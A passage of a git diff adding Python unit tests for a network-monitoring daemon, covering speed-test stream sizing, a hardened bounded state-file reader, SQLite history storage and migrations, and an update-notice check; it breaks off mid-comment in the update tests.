test_overlapping_streams_are_the_bytes_over_the_time_they_took(self): + out = b"1000000 0.29 0.09" # 4 MB in a shared 200 ms window + (mbps, size), _ = self.parallel([out, out, out, out]) + self.assertAlmostEqual(mbps, 160.0, delta=1.0) + self.assertEqual(size, 4_000_000) + + def test_a_stream_that_outlives_the_others_does_not_double_the_line(self): + (mbps, size), _ = self.parallel( + [b"1000000 0.29 0.09", b"1000000 0.49 0.29"]) + self.assertAlmostEqual(mbps, 40.0, delta=1.0) + self.assertEqual(size, 2_000_000) + + def test_every_stream_is_fed_the_same_buffer(self): + # One body, N readers: the memory cost is a stream's worth, not N. + out = b"1000000 0.29 0.09" + _, made = self.parallel([out, out, out]) + self.assertEqual(len(made), 3) + self.assertEqual(len(made[0].fed), 1_000_000) + for proc in made[1:]: + self.assertIs(proc.fed, made[0].fed) + + def test_every_stream_untimeable_reports_no_rate_not_zero(self): + out = b"1000000 0.101 0.09" # 11 ms window: below the floor + (mbps, size), _ = self.parallel([out, out]) + self.assertIsNone(mbps) + self.assertEqual(size, 2_000_000) + + def test_a_failed_stream_costs_its_own_share_and_no_more(self): + from nexthopd import speedtest + queue = [b"1000000 0.29 0.09", b""] + made = [] + real = speedtest.subprocess.Popen + + def fake(*a, **k): + proc = self.FakeProc(queue.pop(0), rc=0 if len(made) == 0 else 1) + made.append(proc) + return proc + + speedtest.subprocess.Popen = fake + try: + mbps, size = speedtest._parallel_upload("https://x/y", 1_000_000, 2, 5) + finally: + speedtest.subprocess.Popen = real + self.assertAlmostEqual(mbps, 40.0, places=4) + self.assertEqual(size, 1_000_000) + + def test_the_upload_invocation_keeps_its_scheme_floor_and_timing_field(self): + from nexthopd import speedtest + argv = speedtest._upload_argv("https://x/y", 30) + self.assertIn("--proto", argv) + self.assertIn("=https", argv) + joined = " ".join(argv) + self.assertIn("%{time_appconnect}", joined) + self.assertNotIn("%{speed_upload}", joined) + self.assertNotIn("%{time_starttransfer}", joined) + + +class ContentStreamSizing(unittest.TestCase): + """Each stream is sized for a duration, not by dividing a budget. + + Dividing a fixed budget is how both speed defects worked: more streams + meant shorter streams, and a stream too short to time is withheld. It also + charged the wrong people — 16 MB is a quarter-second on a fast line and + nine seconds of a saturated link on a 10 Mbps one, every hour. + """ + + def sized(self, hint, cap=None, streams=4): + from nexthopd import speedtest + if cap is None: + cap = speedtest.CONTENT_DOWN_STREAM_CAP + return speedtest.content_stream_bytes(hint, streams, cap) + + def test_a_slow_line_is_asked_for_far_less(self): + from nexthopd import speedtest + # 10 Mbps over four streams: 2.5 Mbps a stream, half a second of it. + self.assertEqual(self.sized(10.0), speedtest.CONTENT_STREAM_FLOOR) + # 100 Mbps: 25 Mbps a stream, so about 1.5 MB - still under the cap. + self.assertLess(self.sized(100.0), speedtest.CONTENT_DOWN_STREAM_CAP) + self.assertGreater(self.sized(100.0), speedtest.CONTENT_STREAM_FLOOR) + + def test_a_fast_line_reaches_the_cap_and_stops(self): + from nexthopd import speedtest + self.assertEqual(self.sized(1000.0), speedtest.CONTENT_DOWN_STREAM_CAP) + self.assertEqual(self.sized(10000.0), speedtest.CONTENT_DOWN_STREAM_CAP) + + def test_the_size_never_leaves_its_bounds(self): + from nexthopd import speedtest + for hint in (0.001, 1, 10, 50, 250, 900, 5000): + n = self.sized(hint) + self.assertGreaterEqual(n, speedtest.CONTENT_STREAM_FLOOR) + self.assertLessEqual(n, speedtest.CONTENT_DOWN_STREAM_CAP) + + def test_no_hint_sends_the_cap(self): + # The first check on a network has nothing to size against, and it is + # the one that produces the hint every later check uses. + from nexthopd import speedtest + for hint in (None, 0, -5): + self.assertEqual(self.sized(hint), speedtest.CONTENT_DOWN_STREAM_CAP) + + def test_a_stream_sized_for_a_rate_can_be_timed_at_that_rate(self): + """The property that makes the whole thing safe. + + Whatever the hint, the stream it produces carries payload for longer + than MIN_TIMED_WINDOW_S at that same rate — so sizing can never + produce a transfer its own accounting would then withhold. + """ + from nexthopd import speedtest + for cap in (speedtest.CONTENT_DOWN_STREAM_CAP, + speedtest.CONTENT_UP_STREAM_CAP): + for hint in (1, 10, 100, 400, 900, 1200): + n = self.sized(hint, cap=cap) + payload_s = (n * 8 / 1e6) / (hint / 4) + self.assertGreaterEqual( + payload_s, speedtest.MIN_TIMED_WINDOW_S, + "hint %s Mbps, cap %s -> %s bytes is %.3f s" % ( + hint, cap, n, payload_s)) + + def test_the_line_speed_each_direction_can_still_time(self): + """The ceiling, pinned. Past it the figure is withheld, not guessed. + + Raising the upload cap moved this from ~640 Mbps to ~1.28 Gbps, which + covers the 820 Mbps line reported in issue #2 — and it costs nothing + on a slower line, because the cap is now a ceiling rather than a + constant everyone pays. + """ + from nexthopd import speedtest + streams = 4 + + def ceiling(cap): + return (cap * 8 / 1e6) / speedtest.MIN_TIMED_WINDOW_S * streams + + self.assertAlmostEqual(ceiling(speedtest.CONTENT_DOWN_STREAM_CAP), + 1920.0, places=1) + self.assertAlmostEqual(ceiling(speedtest.CONTENT_UP_STREAM_CAP), + 1280.0, places=1) + + def test_the_whole_check_stays_within_its_declared_budget(self): + """What the README promises: up to ~20 MB, and only on a fast line.""" + from nexthopd import speedtest + streams = 4 + worst = (speedtest.CONTENT_DOWN_STREAM_CAP + + speedtest.CONTENT_UP_STREAM_CAP) * streams + self.assertLessEqual(worst, 20_000_000) + typical = (self.sized(100.0, speedtest.CONTENT_DOWN_STREAM_CAP) + + self.sized(20.0, speedtest.CONTENT_UP_STREAM_CAP)) * streams + self.assertLess(typical, worst / 2) + + +class AHintThatUnderSizesHealsItself(unittest.TestCase): + """The deadlock this avoids. + + A stream sized from a stale-low hint can finish inside the window too + short to time, and be withheld. Nothing is stored for a withheld check, + so the hint never learns better — every check after it would ask for the + same too-short transfer and report nothing, on a line that is simply + faster than its own history. Observed for real: a 25 Mbps hint on this + ~450 Mbps line returned `down: None`. + """ + + def run_check(self, down_results, up_results, **kwargs): + from nexthopd import speedtest + d_calls, u_calls = [], [] + real_d, real_u = speedtest._parallel_download, speedtest._parallel_upload + + def fake_down(url, streams, timeout): + d_calls.append(url) + return down_results.pop(0) + + def fake_up(url, per_stream, streams, timeout): + u_calls.append(per_stream) + return up_results.pop(0) + + speedtest._parallel_download = fake_down + speedtest._parallel_upload = fake_up + try: + return speedtest.content_test(**kwargs), d_calls, u_calls + finally: + speedtest._parallel_download = real_d + speedtest._parallel_upload = real_u + + def test_a_withheld_download_is_retried_once_at_the_cap(self): + from nexthopd import speedtest + r, d_calls, _ = self.run_check( + [(None, 2_000_000), (420.0, 12_000_000)], + [(90.0, 2_000_000)], + down_hint_mbps=25.0, up_hint_mbps=20.0) + self.assertEqual(len(d_calls), 2) + self.assertIn(str(speedtest.CONTENT_DOWN_STREAM_CAP), d_calls[1]) + self.assertEqual(r["down_mbps"], 420.0) + # Both passes were paid for; the budget must say so. + self.assertEqual(r["bytes"], 2_000_000 + 12_000_000 + 2_000_000) + + def test_a_withheld_upload_is_retried_once_at_the_cap(self): + from nexthopd import speedtest + r, _, u_calls = self.run_check( + [(420.0, 12_000_000)], + [(None, 1_000_000), (95.0, 8_000_000)], + down_hint_mbps=900.0, up_hint_mbps=20.0) + self.assertEqual(len(u_calls), 2) + self.assertEqual(u_calls[1], speedtest.CONTENT_UP_STREAM_CAP) + self.assertEqual(r["up_mbps"], 95.0) + + def test_a_check_already_at_the_cap_is_not_retried(self): + # Nothing larger to ask for: retrying would spend the budget twice + # to arrive at the same answer. + r, d_calls, _ = self.run_check( + [(None, 12_000_000)], [(None, 8_000_000)]) + self.assertEqual(len(d_calls), 1) + self.assertIsNone(r["down_mbps"]) + self.assertFalse(r["ok"]) + + def test_a_genuinely_slow_line_is_not_retried(self): + # A small transfer that produced a number is a good measurement, not + # a failed one. This is the common case and it must stay cheap. + r, d_calls, u_calls = self.run_check( + [(9.5, 2_000_000)], [(2.1, 2_000_000)], + down_hint_mbps=10.0, up_hint_mbps=2.0) + self.assertEqual(len(d_calls), 1) + self.assertEqual(len(u_calls), 1) + self.assertEqual(r["bytes"], 4_000_000) + + +class PeakUploadCostIsUnchangedByParallelism(unittest.TestCase): + """Splitting a pass must not multiply what it spends. + + The peak's sustained upload used to be one stream of up to PEAK_UP_CAP. + It is now PEAK_STREAMS of a per-stream size, and the point of sizing per + stream rather than per pass is that the total stays where it was. + """ + + def test_the_cap_still_bounds_the_whole_pass(self): + from nexthopd import speedtest + per_stream_cap = speedtest.PEAK_UP_CAP // speedtest.PEAK_STREAMS + self.assertLessEqual(per_stream_cap * speedtest.PEAK_STREAMS, + speedtest.PEAK_UP_CAP) + + def test_a_pass_is_sized_for_the_rate_one_stream_carries(self): + from nexthopd import speedtest + # 400 Mbps over four streams is 100 Mbps a stream; ten seconds of that + # is 125 MB, which the per-stream cap holds down to 25 MB. + n = speedtest._sized_pass(400.0 / speedtest.PEAK_STREAMS, + speedtest.PEAK_UP_FLOOR // speedtest.PEAK_STREAMS, + speedtest.PEAK_UP_CAP // speedtest.PEAK_STREAMS) + self.assertLessEqual(n * speedtest.PEAK_STREAMS, speedtest.PEAK_UP_CAP) + self.assertGreaterEqual(n, speedtest.PEAK_UP_FLOOR // speedtest.PEAK_STREAMS) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_state.py b/plugins/io.github.x3me.nexthop/test/test_state.py new file mode 100644 index 0000000..1bc4f29 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_state.py @@ -0,0 +1,180 @@ +"""Tests for state.py and paths.py — atomic writes, bounded reads, where the files live. + +Run: python3 -m unittest discover -s test +""" + +import os +import sys +import tempfile +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd.state import write_atomic, read_json # noqa: E402 + + +class AtomicState(unittest.TestCase): + def test_write_read(self): + with tempfile.TemporaryDirectory() as d: + p = Path(d) / "live.json" + write_atomic(p, {"x": 1}) + self.assertEqual(read_json(p), {"x": 1}) + self.assertEqual(read_json(Path(d) / "missing.json", 42), 42) + # No temp files left behind. + self.assertEqual([f.name for f in Path(d).iterdir()], ["live.json"]) + + +class StateReadSafety(unittest.TestCase): + """The read the QML side consumes: bounded, non-blocking, no-follow, + regular files only. Every property is enforced on the fd actually read, + so a state file swapped at its predictable path can neither redirect + the read, stall it, nor allocate without limit.""" + + def setUp(self): + from nexthopd.state import read_text_bounded + self.read = read_text_bounded + self.tmp = tempfile.TemporaryDirectory() + self.d = Path(self.tmp.name) + + def tearDown(self): + self.tmp.cleanup() + + def test_regular_file_reads(self): + (self.d / "live.json").write_text('{"a":1}') + got = self.read(self.d / "live.json", 1024) + self.assertIsNotNone(got) + self.assertEqual(got[0], '{"a":1}') + + def test_symlink_refused_and_target_unread(self): + secret = self.d / "secret" + secret.write_text("SENSITIVE") + (self.d / "live.json").symlink_to(secret) + self.assertIsNone(self.read(self.d / "live.json", 1024)) + + def test_fifo_refused_without_blocking(self): + import os as _os + _os.mkfifo(self.d / "live.json") + # No writer will ever open this; a blocking open would hang here. + self.assertIsNone(self.read(self.d / "live.json", 1024)) + + def test_oversized_refused_by_the_read_itself(self): + (self.d / "live.json").write_text("x" * 5000) + self.assertIsNone(self.read(self.d / "live.json", 1024)) + + def test_exactly_at_the_cap_is_allowed(self): + (self.d / "live.json").write_text("y" * 1024) + got = self.read(self.d / "live.json", 1024) + self.assertIsNotNone(got) + self.assertEqual(len(got[0]), 1024) + + def test_directory_refused(self): + self.assertIsNone(self.read(self.d, 1024)) + + def test_missing_file_is_none(self): + self.assertIsNone(self.read(self.d / "nope.json", 1024)) + + def test_stamp_changes_only_when_the_file_does(self): + p = self.d / "live.json" + p.write_text('{"a":1}') + first = self.read(p, 1024)[1] + self.assertEqual(self.read(p, 1024)[1], first) + import os as _os + p.write_text('{"a":2}') + _os.utime(p, ns=(0, 12345)) + self.assertNotEqual(self.read(p, 1024)[1], first) + + def test_stream_keys_are_a_closed_set(self): + from nexthopd.cli import STREAMABLE + # The QML side names a key, never a path — nothing it passes can + # widen what gets opened. + self.assertEqual(sorted(STREAMABLE), + ["apps", "live", "manifest", "recent"]) + + def test_indented_json_still_streams_as_one_line(self): + # manifest.json is pretty-printed. Forwarding it verbatim would + # emit several lines and the shell service would never learn the + # version, silently disabling the update handover. + import json as _json + p = self.d / "manifest.json" + p.write_text(_json.dumps({"version": "9.9.9", "kinds": ["service"]}, + indent=2)) + text = self.read(p, 1024)[0] + self.assertIn("\n", text) + line = _json.dumps(_json.loads(text), separators=(",", ":")) + self.assertNotIn("\n", line) + self.assertEqual(_json.loads(line)["version"], "9.9.9") + + def test_embedded_newline_cannot_break_framing(self): + import json as _json + p = self.d / "live.json" + p.write_text(_json.dumps({"note": "one\ntwo", "v": 1})) + text = self.read(p, 4096)[0] + line = _json.dumps(_json.loads(text), separators=(",", ":")) + self.assertNotIn("\n", line) + self.assertEqual(_json.loads(line)["note"], "one\ntwo") + + +class VolatileSnapshotsLiveInTheRuntimeDir(unittest.TestCase): + def test_runtime_dir_prefers_xdg_runtime_dir(self): + from nexthopd import paths + saved = dict(os.environ) + self.addCleanup(lambda: (os.environ.clear(), os.environ.update(saved))) + with tempfile.TemporaryDirectory() as tmp: + os.environ["XDG_RUNTIME_DIR"] = tmp + self.assertEqual(paths.runtime_dir(), Path(tmp) / "nexthop") + for fn in (paths.live_path, paths.recent_path, paths.apps_path): + self.assertEqual(fn().parent, Path(tmp) / "nexthop") + # History, settings and the lock never move. + for fn in (paths.db_path, paths.lock_path): + self.assertEqual(fn().parent, paths.state_dir()) + # No usable runtime dir: everything stays together in the + # state dir, so a reader and a writer in the same environment + # always agree. + os.environ["XDG_RUNTIME_DIR"] = str(Path(tmp) / "missing") + self.assertEqual(paths.runtime_dir(), paths.state_dir()) + os.environ.pop("XDG_RUNTIME_DIR") + self.assertEqual(paths.runtime_dir(), paths.state_dir()) + + def test_volatile_writes_do_not_fsync(self): + from nexthopd import state + calls = [] + self.addCleanup(setattr, state.os, "fsync", state.os.fsync) + state.os.fsync = lambda fd: calls.append(fd) + with tempfile.TemporaryDirectory() as tmp: + write_atomic(Path(tmp) / "a.json", {"x": 1}) + self.assertEqual(calls, []) + self.assertEqual(read_json(Path(tmp) / "a.json", None), {"x": 1}) + write_atomic(Path(tmp) / "b.json", {"x": 1}, durable=True) + self.assertEqual(len(calls), 1) + + def test_legacy_snapshots_are_retired_with_a_tombstone(self): + from nexthopd import paths, state + with tempfile.TemporaryDirectory() as tmp: + old = Path(tmp) / "state" + old.mkdir() + for name in (paths.RECENT, paths.APPS): + (old / name).write_text("{}") + write_atomic(old / paths.LIVE, {"v": 1, "state": "online", "index": 93, + "t": 1.0, "pid": 42, "pid_start": 7, + "daemon_version": "0.2.21", + "link": {"ssid": "Home"}}) + state.retire_legacy_snapshots(old, Path(tmp) / "runtime", now=2.0) + self.assertFalse((old / paths.RECENT).exists()) + self.assertFalse((old / paths.APPS).exists()) + tomb = read_json(old / paths.LIVE, None) + # An old reader shows "no data", not the last number it saw... + self.assertEqual(tomb["state"], "no-daemon") + self.assertIsNone(tomb["index"]) + self.assertEqual(tomb["t"], 2.0) + # ...and an old version watch finds no pid to retire. + for key in ("pid", "pid_start", "daemon_version"): + self.assertNotIn(key, tomb) + self.assertEqual(tomb["link"], {"ssid": "Home"}) # shape kept + # Same directory (no runtime dir available): nothing to retire. + state.retire_legacy_snapshots(old, old, now=3.0) + self.assertEqual(read_json(old / paths.LIVE, None)["t"], 2.0) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_store.py b/plugins/io.github.x3me.nexthop/test/test_store.py new file mode 100644 index 0000000..9e2b39d --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_store.py @@ -0,0 +1,388 @@ +"""Tests for store.py — rows, rollups, events, and the one connection three threads share. + +Run: python3 -m unittest discover -s test +""" + +import sqlite3 +import sys +import tempfile +import time +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd.store import Store # noqa: E402 + + +class StoreRoundtrip(unittest.TestCase): + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + self.store = Store(Path(self.dir.name) / "t.db") + + def tearDown(self): + self.store.close() + self.dir.cleanup() + + def test_minute_hour_resolution_switch(self): + now = int(time.time()) + for i in range(300): + self.store.put_minute(now - (300 - i) * 60, {"lag": 20.0}) + rows, table = self.store.series(3600, now=now) + self.assertEqual(table, "minute") + self.assertEqual(len(rows), 60) + self.store.rollup_hours(now) + rows, table = self.store.series(7 * 86400, now=now) + self.assertEqual(table, "hour") + self.assertGreaterEqual(len(rows), 4) + + def test_outage_accounting(self): + now = time.time() + eid = self.store.open_event(int(now - 600), "outage", "critical", + "wan", "test") + self.store.close_event(eid, int(now - 540)) + frac, disruptions, disrupt_frac = self.store.outage_stats(3600, now=now) + self.assertAlmostEqual(frac, 60 / 3600, places=3) + self.assertEqual(disruptions, 0) + self.assertEqual(disrupt_frac, 0.0) + + def test_ongoing_outage_counts_to_now(self): + now = time.time() + self.store.open_event(int(now - 120), "outage", "critical", "wan", "t") + frac, _, _ = self.store.outage_stats(3600, now=now) + self.assertAlmostEqual(frac, 120 / 3600, places=3) + + def test_disruptions_report_duration_not_just_count(self): + now = time.time() + for start, length in ((900, 20), (600, 40)): + eid = self.store.open_event(int(now - start), "disruption", + "warning", "wan", "t") + self.store.close_event(eid, int(now - start + length)) + frac, disruptions, disrupt_frac = self.store.outage_stats(3600, now=now) + self.assertEqual(frac, 0.0) + self.assertEqual(disruptions, 2) + self.assertAlmostEqual(disrupt_frac, 60 / 3600, places=3) + + def test_baseline_is_p90_per_network(self): + now = int(time.time()) + for i, v in enumerate([100, 200, 210, 220, 230, 240, 900]): + self.store.put_test(now - i * 3600, "content", "cloudflare", + down_mbps=v, ok=True, network="Office") + # p90 shrugs off the one lucky 900 run. + self.assertLess(self.store.baseline_speed(network="Office", now=now), 900) + self.assertGreaterEqual(self.store.baseline_speed(network="Office", now=now), 240) + # Too few samples on an unknown network falls back to all networks. + self.assertIsNotNone(self.store.baseline_speed(network="Home", now=now)) + + def test_baseline_no_fallback_without_local_samples(self): + now = int(time.time()) + for i in range(6): + self.store.put_test(now - i * 3600, "content", "x", + down_mbps=300, ok=True, network="OfficeA") + # Another network's history must not become this network's normal. + self.assertIsNone(self.store.baseline_speed(network="OfficeB", + now=now, fallback=False)) + self.assertIsNotNone(self.store.baseline_speed(network="OfficeB", + now=now)) + + def test_baseline_needs_enough_samples(self): + now = int(time.time()) + for i in range(3): + self.store.put_test(now - i * 3600, "content", "x", + down_mbps=100, ok=True) + self.assertIsNone(self.store.baseline_speed(now=now)) + + +class MinuteProvenance(unittest.TestCase): + def test_minute_rows_carry_basis_and_seats(self): + d = tempfile.TemporaryDirectory() + self.addCleanup(d.cleanup) + store = Store(Path(d.name) / "t.db") + self.addCleanup(store.close) + ts = int(time.time() // 60) * 60 + store.put_minute(ts, {"lag": 30.0, "lag_icmp": 24.0}, + iface="wlo1", network="x", probes="icmp-anchor+tcp-cf") + rows, _ = store.series(3600) + row = rows[-1] + self.assertEqual(row["lag_icmp"], 24.0) + self.assertEqual(row["probes"], "icmp-anchor+tcp-cf") + + def test_old_databases_gain_the_columns(self): + d = tempfile.TemporaryDirectory() + self.addCleanup(d.cleanup) + path = Path(d.name) / "t.db" + import sqlite3 as sq + from nexthopd.store import SAMPLE_COLUMNS + old_cols = ", ".join(f"{c} REAL" for c in SAMPLE_COLUMNS + if c != "lag_icmp") + db = sq.connect(path) + db.execute(f"CREATE TABLE minute (ts INTEGER PRIMARY KEY, {old_cols}, " + "iface TEXT, network TEXT)") + db.commit(); db.close() + store = Store(path) + self.addCleanup(store.close) + store.put_minute(60, {"lag": 1.0}, probes="a+b") # must not raise + + +class TailStatisticsAreRecorded(unittest.TestCase): + """p75 and max per leg, written but never scored. + + Comparing our headline against Orb's and LibreQoS's could only be done + as an upper bound because neither statistic was ever stored; p50 and + p95 cannot reconstruct them. Recorded now so the choice can be argued + from real days rather than bounded — the rule 0.1.11 held loaded + latency to. + """ + + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + self.path = Path(self.dir.name) / "history.db" + + def tearDown(self): + self.dir.cleanup() + + def test_the_columns_exist_and_round_trip(self): + st = Store(self.path) + st.put_minute(60, {"local_p50": 1.0, "local_p75": 2.0, + "local_max": 9.0, "wan_p50": 3.0, + "wan_p75": 4.0, "wan_max": 77.7}) + row = st.db.execute("SELECT * FROM minute WHERE ts = 60").fetchone() + self.assertEqual(row["local_p75"], 2.0) + self.assertEqual(row["local_max"], 9.0) + self.assertEqual(row["wan_p75"], 4.0) + self.assertEqual(row["wan_max"], 77.7) + st.close() + + def test_an_older_database_is_migrated_in_place(self): + # The invariant across nine schema-touching releases: additive + # ALTER TABLE, never a rewrite. An existing row must survive it. + import sqlite3 as sq + st = Store(self.path) + st.put_minute(60, {"local_p50": 1.0}) + st.close() + db = sq.connect(self.path) + for col in ("local_p75", "local_max", "wan_p75", "wan_max"): + db.execute("ALTER TABLE minute DROP COLUMN %s" % col) + db.execute("ALTER TABLE hour DROP COLUMN %s" % col) + db.commit() + db.close() + + st = Store(self.path) # reopening must migrate + cols = [r[1] for r in st.db.execute("PRAGMA table_info(minute)")] + for col in ("local_p75", "local_max", "wan_p75", "wan_max"): + self.assertIn(col, cols) + row = st.db.execute("SELECT * FROM minute WHERE ts = 60").fetchone() + self.assertEqual(row["local_p50"], 1.0) # the old row survived + self.assertIsNone(row["local_max"]) # and is honestly blank + st.close() + + def test_they_are_recorded_but_not_scored(self): + # Nothing in the scoring path may read them yet. If that changes it + # should be a deliberate release, not a drift. + src = Path(__file__).resolve().parent.parent / "nexthopd" / "score.py" + text = src.read_text() + for col in ("local_p75", "local_max", "wan_p75", "wan_max"): + self.assertNotIn(col, text) + + +class StoreConcurrency(unittest.TestCase): + """One connection shared by the loop and two test workers. Every call + must serialise: sqlite3 raises on an overlapping use of one connection + and the row it was writing is lost.""" + + def test_overlapping_writers_and_readers_lose_nothing(self): + import threading + d = tempfile.TemporaryDirectory() + self.addCleanup(d.cleanup) + store = Store(Path(d.name) / "t.db") + self.addCleanup(store.close) + errors, n = [], 150 + + def guard(fn): + def run(): + try: + fn() + except Exception as e: # noqa: BLE001 — recorded, asserted + errors.append(repr(e)) + return run + + def tests(kind, base): + for i in range(n): + store.put_test(base + i, kind, "x", down_mbps=1.0, ok=True, + network="n") + + def loop(): + for i in range(n): + store.put_minute(1_000_000 + i * 60, {"lag": 1.0}) + store.outage_stats(3600, now=2_000_000) + + def events(): + for i in range(n): + eid = store.open_event(3_000_000 + i, "outage", "critical", + "wan", "t") + store.close_event(eid, 3_000_000 + i + 1) + store.events(86400, now=3_000_000 + n) + + threads = [threading.Thread(target=guard(lambda: tests("content", 10_000))), + threading.Thread(target=guard(lambda: tests("peak", 20_000))), + threading.Thread(target=guard(loop)), + threading.Thread(target=guard(events))] + for t in threads: + t.start() + for t in threads: + t.join(60) + self.assertEqual(errors, []) + self.assertEqual(len(store.tests(limit=1000, kind="content")), n) + self.assertEqual(len(store.tests(limit=1000, kind="peak")), n) + rows, _ = store.series(10 ** 9, now=1_000_000 + n * 60 + 1, + resolution="minute") + self.assertEqual(len(rows), n) + + +class EventWindowSemantics(unittest.TestCase): + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + self.addCleanup(self.dir.cleanup) + self.store = Store(Path(self.dir.name) / "t.db") + self.addCleanup(self.store.close) + self.now = 1_000_000 + + def details(self, seconds): + return [e["detail"] for e in self.store.events(seconds, now=self.now)] + + def test_an_event_that_ended_inside_the_window_is_listed(self): + # Began 25 h ago, ended an hour ago: it overlaps the last 24 h and + # is exactly the row the user opens the list to find. + eid = self.store.open_event(self.now - 90_000, "outage", "critical", + "wan", "straddles") + self.store.close_event(eid, self.now - 3_600) + # Began and ended before the window: not listed. + eid = self.store.open_event(self.now - 90_000, "outage", "critical", + "wan", "old") + self.store.close_event(eid, self.now - 89_000) + listed = self.details(86_400) + self.assertIn("straddles", listed) + self.assertNotIn("old", listed) + + def test_orphans_are_closed_at_the_shortest_span(self): + self.store.open_event(self.now - 90_000, "outage", "critical", "wan", + "orphan") + # Left NULL, it charges every window forever. + frac, _, _ = self.store.outage_stats(3600, now=self.now) + self.assertAlmostEqual(frac, 1.0, places=3) + self.assertEqual(self.store.close_orphans(self.now), 1) + frac, _, _ = self.store.outage_stats(3600, now=self.now) + self.assertEqual(frac, 0.0) + row = self.store.events(10 ** 6, now=self.now)[0] + self.assertEqual(row["ended_ts"], row["ts"] + 1) + # Idempotent, and it never touches a properly closed row. + self.assertEqual(self.store.close_orphans(self.now), 0) + + def test_prune_removes_events_past_the_hourly_horizon(self): + eid = self.store.open_event(self.now - 500 * 86_400, "info", "info", + "local", "ancient") + self.store.close_event(eid, self.now - 500 * 86_400 + 1) + eid = self.store.open_event(self.now - 10, "info", "info", "local", + "recent") + self.store.close_event(eid, self.now - 9) + self.store.prune(now=self.now) + listed = self.details(10 ** 9) + self.assertNotIn("ancient", listed) + self.assertIn("recent", listed) + + +class RollupNetworkLabel(unittest.TestCase): + def test_an_hour_spanning_two_networks_is_labelled_neither(self): + d = tempfile.TemporaryDirectory() + self.addCleanup(d.cleanup) + store = Store(Path(d.name) / "t.db") + self.addCleanup(store.close) + hour = 3_600_000 + store.put_minute(hour + 60, {"lag": 1.0}, iface="wlo1", network="Home") + store.put_minute(hour + 120, {"lag": 1.0}, iface="wlo1", network="Office") + store.put_minute(hour + 3660, {"lag": 1.0}, iface="wlo1", network="Office") + store.rollup_hours(now=hour + 3 * 3600) + rows, _ = store.series(10 ** 6, now=hour + 3 * 3600, resolution="hour") + by_ts = {r["ts"]: r for r in rows} + self.assertEqual(by_ts[hour]["network"], "") + self.assertEqual(by_ts[hour]["iface"], "wlo1") + self.assertEqual(by_ts[hour + 3600]["network"], "Office") + + +class DrainIsStored(unittest.TestCase): + """The drain was published and never stored, so it could not be audited. + + That is why the distribution proving it is quantised by probe cadence had + to come from the other implementation: this one had no history to look at. + """ + + def store(self): + d = tempfile.TemporaryDirectory() + self.addCleanup(d.cleanup) + s = Store(Path(d.name) / "t.db") + self.addCleanup(s.close) + return s + + def test_a_minute_carries_the_drain_and_what_produced_it(self): + s = self.store() + s.put_minute(60, {"lag": 12.0, "drain_ms": 2000.0, + "drain_min_ms": 1000.0, "drain_settled": 1.0, + "drain_src": "tcp-anchor"}, + iface="wlan0", network="home", probes="icmp+tcp") + rows, _ = s.series(seconds=3600, now=120, resolution="minute") + row = rows[0] + self.assertEqual(row["drain_ms"], 2000.0) + self.assertEqual(row["drain_min_ms"], 1000.0) + self.assertEqual(row["drain_settled"], 1.0) + self.assertEqual(row["drain_src"], "tcp-anchor") + + def test_never_measured_and_did_not_settle_stay_different(self): + # None is "no drain in this minute"; 0.0 is "measured, never came + # back inside the window". Collapsing them would turn a censored + # observation into a real one. + s = self.store() + s.put_minute(60, {"drain_ms": 30000.0, "drain_settled": 0.0}, network="home") + s.put_minute(120, {"lag": 9.0}, network="home") + got, _ = s.series(seconds=3600, now=180, resolution="minute") + rows = {r["ts"]: r for r in got} + self.assertEqual(rows[60]["drain_settled"], 0.0) + self.assertIsNone(rows[120]["drain_settled"]) + self.assertIsNone(rows[120]["drain_ms"]) + + def test_the_drain_does_not_roll_up_into_an_hour(self): + """A mean of drains destroys the only thing it is stored for. + + The value is quantised by probe cadence, so what has to survive is + the distribution. Sixty of them averaged has none of that in it — + the same objection the rollup already carries for percentiles, but + binding harder, because here the spread IS the finding. + """ + from nexthopd.store import SAMPLE_COLUMNS + for c in ("drain_ms", "drain_min_ms", "drain_settled", "drain_src"): + self.assertNotIn(c, SAMPLE_COLUMNS) + s = self.store() + cols = [r[1] for r in s.db.execute("PRAGMA table_info(hour)")] + for c in ("drain_ms", "drain_min_ms", "drain_settled", "drain_src"): + self.assertNotIn(c, cols) + + def test_an_older_database_gains_the_columns(self): + # Additive migration only, as every schema change here has been. + d = tempfile.TemporaryDirectory() + self.addCleanup(d.cleanup) + path = Path(d.name) / "old.db" + old = sqlite3.connect(path) + old.execute("CREATE TABLE minute (ts INTEGER PRIMARY KEY, lag REAL)") + old.execute("CREATE TABLE hour (ts INTEGER PRIMARY KEY, lag REAL)") + old.execute("CREATE TABLE tests (ts INTEGER, kind TEXT)") + old.execute("CREATE TABLE events (ts INTEGER, kind TEXT)") + old.commit() + old.close() + s = Store(path) + self.addCleanup(s.close) + cols = [r[1] for r in s.db.execute("PRAGMA table_info(minute)")] + for c in ("drain_ms", "drain_min_ms", "drain_settled", "drain_src"): + self.assertIn(c, cols) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_update.py b/plugins/io.github.x3me.nexthop/test/test_update.py new file mode 100644 index 0000000..edda1af --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_update.py @@ -0,0 +1,252 @@ +"""Tests for update.py — notify, never install. + +Run: python3 -m unittest discover -s test +""" + +import json +import subprocess +import sys +import tempfile +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd.daemon import Config # noqa: E402 +from nexthopd.update import RE_SHA, UpdateWatch, verdict # noqa: E402 +from support import REPO, run_inline # noqa: E402 + + +class UpdateNotice(unittest.TestCase): + """The update check reports; it must never act, and never trust a remote + string far enough to hand it to a subprocess unchecked.""" + + A = "a" * 40 + B = "b" * 40 + + def test_verdict_states(self): + self.assertEqual(verdict(self.A, self.A, True, False, False), "current") + # Origin holds a commit we have never seen. + self.assertEqual(verdict(self.A, self.B, False, False, False), "behind") + # THE CASE THAT MATTERS: `omarchy plugin update` fetches before it + # shows its diff, so a user who looked and 